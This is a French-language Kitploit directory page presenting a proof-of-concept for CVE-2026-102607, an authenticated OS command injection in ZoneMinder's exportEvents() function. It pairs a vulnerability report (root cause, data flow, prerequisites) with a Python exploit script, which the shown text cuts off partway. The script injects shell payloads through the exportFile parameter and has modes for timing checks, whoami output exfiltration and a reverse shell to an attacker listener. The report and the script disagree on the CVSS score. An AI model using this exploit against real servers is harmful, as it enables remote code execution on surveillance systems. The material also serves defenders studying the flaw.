Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-102607-ZoneMinder — PoC Python exploitant CVE-2026-102607, une injection de commande OS authentifiée dans ZoneMinder <= 1.38.1 via exportEvents() permettant une RCE, l'exfiltration de sortie de commande et des reverse shells. | Kitploit
Outils/GitHubGitHub/d4kw1n/cve-2026-102607-zoneminder
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionCommandement et ContrôleCheval de Troie d'Accès à Distance
GitHub
d4kw1n/cve-2026-102607-zoneminder

CVE-2026-102607-ZoneMinder

PoC Python exploitant CVE-2026-102607, une injection de commande OS authentifiée dans ZoneMinder <= 1.38.1 via exportEvents() permettant une RCE, l'exfiltration de sortie de commande et des reverse shells.

Voir le dépôt
117il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Rapport de vulnérabilité de sécurité : Injection de commande OS dans ZoneMinder exportEvents()

Résumé

Une vulnérabilité d'injection de commande OS authentifiée existe dans la fonctionnalité d'export d'événements de ZoneMinder. Le paramètre de requête HTTP exportFile est transmis sans assainissement dans une commande shell exécutée via la fonction exec() de PHP, permettant à tout utilisateur authentifié disposant de la permission View Events d'exécuter des commandes arbitraires du système d'exploitation sur le serveur.

Cette vulnérabilité entraîne une exécution de code à distance (RCE) complète en tant qu'utilisateur du serveur web (www-data).

Sévérité

  • Score CVSS v3.1 : 8.8. (Élevée)
  • Vecteur CVSS : AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE : CWE-78 (Neutralisation incorrecte des éléments spéciaux utilisés dans une commande OS)

Versions affectées

  • ZoneMinder ≤ 1.38.1 (dernière version au moment de la rédaction)
  • Confirmé sur ZoneMinder 1.38.1

Détails de la vulnérabilité

Emplacement

  • Point d'entrée : web/ajax/event.php, ligne 103
  • Fonction vulnérable : exportEvents() dans web/skins/classic/includes/export_functions.php, lignes 1030–1032

Cause racine

La fonction exportEvents() accepte un paramètre $export_root provenant directement de $_REQUEST['exportFile'] (via ajax/event.php, ligne 103). Ce paramètre est utilisé pour construire le chemin de répertoire ajouté aux commandes tar et zip.

Alors que le chemin du fichier d'archive ($archive_path) à la ligne 1020 est correctement échappé à l'aide de escapeshellarg(), l'argument de répertoire final à la ligne 1030 est concaténé directement dans la chaîne de commande sans aucun assainissement :

// Line 1020 — properly escaped ✓
$command .= ' --file='.escapeshellarg($archive_path);

// Line 1030 — NOT escaped ✗ (VULNERABLE)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';

// Line 1032 — executed
exec($command, $output, $status);

Un attaquant peut injecter des métacaractères shell (;, |, &&, etc.) dans le paramètre exportFile pour sortir de la commande tar/zip prévue et exécuter des commandes arbitraires. Le / final ajouté par PHP peut être neutralisé à l'aide de # (caractère de commentaire shell).

Flux de données

HTTP Request: $_REQUEST['exportFile']
        │
        ▼
ajax/event.php (line 103)
    └── exportEvents(..., $_REQUEST['exportFile'])
                │
                ▼
export_functions.php (line 890)
    └── $export_root = $_REQUEST['exportFile']   // No sanitization
                │
                ▼
export_functions.php (line 1030)
    └── $command .= ' ' . $export_root . '/'     // Direct concatenation
                │
                ▼
export_functions.php (line 1032)
    └── exec($command)                           // OS Command Execution

Prérequis

  • Authentification : Tout utilisateur authentifié disposant de la permission View Events ou View Snapshots.
  • Jeton CSRF : Un jeton __csrf_magic valide doit être inclus (récupéré depuis n'importe quelle page ZoneMinder).
  • exportDetail=1 : Ce paramètre doit être inclus dans la requête pour éviter une erreur fatale PHP dans exportEventImagesMaster() lors de l'utilisation d'ID d'événements inexistants.

Preuve de concept

PoC en code

#!/usr/bin/env python3
"""
=====================================================================

Affected Version : ZoneMinder <= 1.38.1
Tested On        : ZoneMinder 1.38.1 (Docker)
Vulnerability    : OS Command Injection in exportEvents()
CVSS Score       : 9.9 (Critical)
Attack Vector    : Network (Authenticated)
File             : web/skins/classic/includes/export_functions.php
Sink             : exec() at line 1032

Description:
    The exportEvents() function in ZoneMinder constructs shell commands
    for `tar` and `zip` archival using unsanitized user input from the
    `exportFile` HTTP request parameter. This parameter is used as the
    `$export_root` variable, which is directly concatenated into the
    command string passed to exec() without escapeshellarg() or any
    equivalent sanitization.

    An authenticated attacker with "View Events" permission can inject
    arbitrary OS commands by appending shell metacharacters (;) to the
    `exportFile` parameter, achieving Remote Code Execution as the
    web server user (www-data).

Usage:
    1. Start a listener on your attack machine:
       $ nc -lvnp <LPORT>

    2. Run this exploit:
       $ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>

    3. The exploit supports three modes:
       --mode check   : Verify the vulnerability (sleep-based timing)
       --mode whoami  : Extract the output of `whoami`
       --mode revshell: Spawn a reverse shell to LHOST:LPORT

Author : d4kw1n
Date   : 2026-03-10
"""

import argparse
import re
import sys
import time
import urllib.parse

try:
    import requests
except ImportError:
    print("[-] 'requests' library required. Install with: pip install requests")
    sys.exit(1)


BANNER = r"""
  ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""


class ZMExploit:
    def __init__(self, target, lhost=None, lport=None, session_cookie=None):
        self.target = target.rstrip("/")
        self.lhost = lhost
        self.lport = lport
        self.session = requests.Session()
        self.session.verify = False

        if session_cookie:
            self.session.cookies.set("ZMSESSID", session_cookie)

    def get_csrf_token(self):
        """Fetch a valid CSRF token from the target."""
        res = self.session.get(f"{self.target}/index.php", timeout=10)
        match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
        if not match:
            print("[-] Failed to extract CSRF token. Is the target reachable?")
            return None
        return match.group(1)

    def send_payload(self, payload):
        """Send the injection payload via the export action."""
        csrf = self.get_csrf_token()
        if not csrf:
            return None

        data = {
            "view": "request",
            "request": "event",
            "action": "export",
            "exportFormat": "tar",
            "exportDetail": "1",
            "eids[]": "1",
            "exportFile": payload,
            "__csrf_magic": csrf,
        }
        try:
            return self.session.post(
                f"{self.target}/index.php", data=data, timeout=30
            )
        except requests.exceptions.ReadTimeout:
            return None

    def read_output(self, filename):
        """Read exfiltrated command output via archive.php."""
        res = self.session.get(
            f"{self.target}/index.php?view=archive&type=tar&file={filename}",
            timeout=10,
        )
        return res.text.strip()

    # ── Mode: check ──────────────────────────────────────────────
    def check(self):
        """Verify the vulnerability using a timing-based approach."""
        delay = 5
        print(f"[*] Sending sleep {delay} payload for timing verification...")

        payload = f"a; sleep {delay}; #"
        start = time.time()
        self.send_payload(payload)
        elapsed = time.time() - start

        print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
        if elapsed >= delay:
            print("[+] VULNERABLE - Command injection confirmed!")
            return True
        else:
            print("[-] NOT VULNERABLE or target unreachable.")
            return False

    # ── Mode: whoami ─────────────────────────────────────────────
    def whoami(self):
        """Extract the web server user via command output exfiltration."""
        outfile = "whoami.tar"
        print(f"[*] Injecting: whoami > {outfile}")

        self.send_payload(f"a; whoami > {outfile}; #")
        result = self.read_output(outfile)
Télécharger l’outil